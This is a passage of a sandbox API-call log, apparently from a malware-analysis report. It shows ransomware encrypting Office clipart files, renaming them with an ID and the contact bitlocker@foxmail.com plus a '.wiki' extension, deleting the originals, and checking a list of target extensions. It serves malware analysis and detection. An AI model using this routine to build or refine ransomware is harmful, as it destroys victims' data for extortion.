(lpString1=".rar", lpString2=".WMF") returned -1 [0190.300] lstrlenW (lpString=".bz2") returned 4 [0190.300] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.300] lstrlenW (lpString=".7z") returned 3 [0190.300] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.300] lstrlenW (lpString=".dbf") returned 4 [0190.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.300] lstrlenW (lpString=".1cd") returned 4 [0190.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 63 [0190.300] lstrlenW (lpString=".jpg") returned 4 [0190.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.300] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0190.300] lstrlenW (lpString="J0075478.GIF") returned 12 [0190.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.301] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1220) returned 1 [0190.301] CloseHandle (hObject=0x1f8) returned 1 [0190.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 0x20 [0190.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.301] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.301] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.302] GetLastError () returned 0x0 [0190.302] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x4c4, lpOverlapped=0x0) returned 1 [0190.304] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0190.305] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.305] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.305] SetEndOfFile (hFile=0x218) returned 1 [0190.305] CloseHandle (hObject=0x218) returned 1 [0190.305] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.305] SetEndOfFile (hFile=0x1f8) returned 1 [0190.306] CloseHandle (hObject=0x1f8) returned 1 [0190.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString=".doc") returned 4 [0190.307] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0190.307] lstrlenW (lpString=".docx") returned 5 [0190.307] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0190.307] lstrlenW (lpString=".pdf") returned 4 [0190.307] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0190.307] lstrlenW (lpString=".xls") returned 4 [0190.307] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0190.307] lstrlenW (lpString=".xlsx") returned 5 [0190.307] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0190.307] lstrlenW (lpString=".ppt") returned 4 [0190.307] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString=".zip") returned 4 [0190.307] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0190.307] lstrlenW (lpString=".rar") returned 4 [0190.307] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0190.307] lstrlenW (lpString=".bz2") returned 4 [0190.307] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0190.307] lstrlenW (lpString=".7z") returned 3 [0190.307] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString=".dbf") returned 4 [0190.307] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString=".1cd") returned 4 [0190.307] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0190.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.307] lstrlenW (lpString=".jpg") returned 4 [0190.308] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString=".doc") returned 4 [0190.308] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0190.308] lstrlenW (lpString=".docx") returned 5 [0190.308] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0190.308] lstrlenW (lpString=".pdf") returned 4 [0190.308] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString=".xls") returned 4 [0190.308] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString=".xlsx") returned 5 [0190.308] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0190.308] lstrlenW (lpString=".ppt") returned 4 [0190.308] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString=".zip") returned 4 [0190.308] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString=".rar") returned 4 [0190.308] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0190.308] lstrlenW (lpString=".bz2") returned 4 [0190.308] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0190.308] lstrlenW (lpString=".7z") returned 3 [0190.308] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString=".dbf") returned 4 [0190.308] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString=".1cd") returned 4 [0190.308] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0190.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF") returned 63 [0190.308] lstrlenW (lpString=".jpg") returned 4 [0190.309] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0190.309] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.309] lstrlenW (lpString="J0086384.WMF") returned 12 [0190.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.309] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9734) returned 1 [0190.309] CloseHandle (hObject=0x1f8) returned 1 [0190.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 0x20 [0190.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.309] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.310] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.310] GetLastError () returned 0x0 [0190.310] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x2606, lpOverlapped=0x0) returned 1 [0190.312] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2610, lpOverlapped=0x0) returned 1 [0190.313] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.313] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.313] SetEndOfFile (hFile=0x218) returned 1 [0190.313] CloseHandle (hObject=0x218) returned 1 [0190.313] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.313] SetEndOfFile (hFile=0x1f8) returned 1 [0190.314] CloseHandle (hObject=0x1f8) returned 1 [0190.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf")) returned 1 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString=".doc") returned 4 [0190.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString=".docx") returned 5 [0190.315] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0190.315] lstrlenW (lpString=".pdf") returned 4 [0190.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString=".xls") returned 4 [0190.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.315] lstrlenW (lpString=".xlsx") returned 5 [0190.315] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0190.315] lstrlenW (lpString=".ppt") returned 4 [0190.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString=".zip") returned 4 [0190.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.315] lstrlenW (lpString=".rar") returned 4 [0190.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString=".bz2") returned 4 [0190.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString=".7z") returned 3 [0190.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString=".dbf") returned 4 [0190.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString=".1cd") returned 4 [0190.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.315] lstrlenW (lpString=".jpg") returned 4 [0190.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString=".doc") returned 4 [0190.316] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString=".docx") returned 5 [0190.316] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0190.316] lstrlenW (lpString=".pdf") returned 4 [0190.316] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString=".xls") returned 4 [0190.316] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.316] lstrlenW (lpString=".xlsx") returned 5 [0190.316] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0190.316] lstrlenW (lpString=".ppt") returned 4 [0190.316] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString=".zip") returned 4 [0190.316] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.316] lstrlenW (lpString=".rar") returned 4 [0190.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString=".bz2") returned 4 [0190.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString=".7z") returned 3 [0190.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString=".dbf") returned 4 [0190.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString=".1cd") returned 4 [0190.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0190.316] lstrlenW (lpString=".jpg") returned 4 [0190.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.317] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0190.317] lstrlenW (lpString="J0086420.WMF") returned 12 [0190.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.317] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9596) returned 1 [0190.317] CloseHandle (hObject=0x1f8) returned 1 [0190.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0190.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0190.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0190.317] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.318] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.318] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0190.318] GetLastError () returned 0x0 [0190.318] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x257c, lpOverlapped=0x0) returned 1 [0190.320] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2580, lpOverlapped=0x0) returned 1 [0190.321] ReadFile (in: hFile=0x1f8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0190.321] WriteFile (in: hFile=0x218, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0190.321] SetEndOfFile (hFile=0x218) returned 1 [0190.321] CloseHandle (hObject=0x218) returned 1 [0190.321] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0190.321] SetEndOfFile (hFile=0x1f8) returned 1 [0190.620] CloseHandle (hObject=0x1f8) returned 1 [0190.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0190.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0190.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.621] lstrlenW (lpString=".doc") returned 4 [0190.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.621] lstrlenW (lpString=".docx") returned 5 [0190.621] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0190.621] lstrlenW (lpString=".pdf") returned 4 [0190.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.621] lstrlenW (lpString=".xls") returned 4 [0190.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.621] lstrlenW (lpString=".xlsx") returned 5 [0190.621] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0190.622] lstrlenW (lpString=".ppt") returned 4 [0190.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString=".zip") returned 4 [0190.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.622] lstrlenW (lpString=".rar") returned 4 [0190.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString=".bz2") returned 4 [0190.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString=".7z") returned 3 [0190.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString=".dbf") returned 4 [0190.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString=".1cd") returned 4 [0190.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString=".jpg") returned 4 [0190.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.622] lstrlenW (lpString=".doc") returned 4 [0190.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString=".docx") returned 5 [0190.622] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0190.622] lstrlenW (lpString=".pdf") returned 4 [0190.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0190.622] lstrlenW (lpString=".xls") returned 4 [0190.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0190.622] lstrlenW (lpString=".xlsx") returned 5 [0190.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0190.622] lstrlenW (lpString=".ppt") returned 4 [0190.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0190.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.623] lstrlenW (lpString=".zip") returned 4 [0190.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0190.623] lstrlenW (lpString=".rar") returned 4 [0190.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0190.623] lstrlenW (lpString=".bz2") returned 4 [0190.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0190.623] lstrlenW (lpString=".7z") returned 3 [0190.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0190.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.623] lstrlenW (lpString=".dbf") returned 4 [0190.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0190.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0190.623] lstrlenW (lpString=".1cd") returned 4 [0190.623] lstrcmpiW 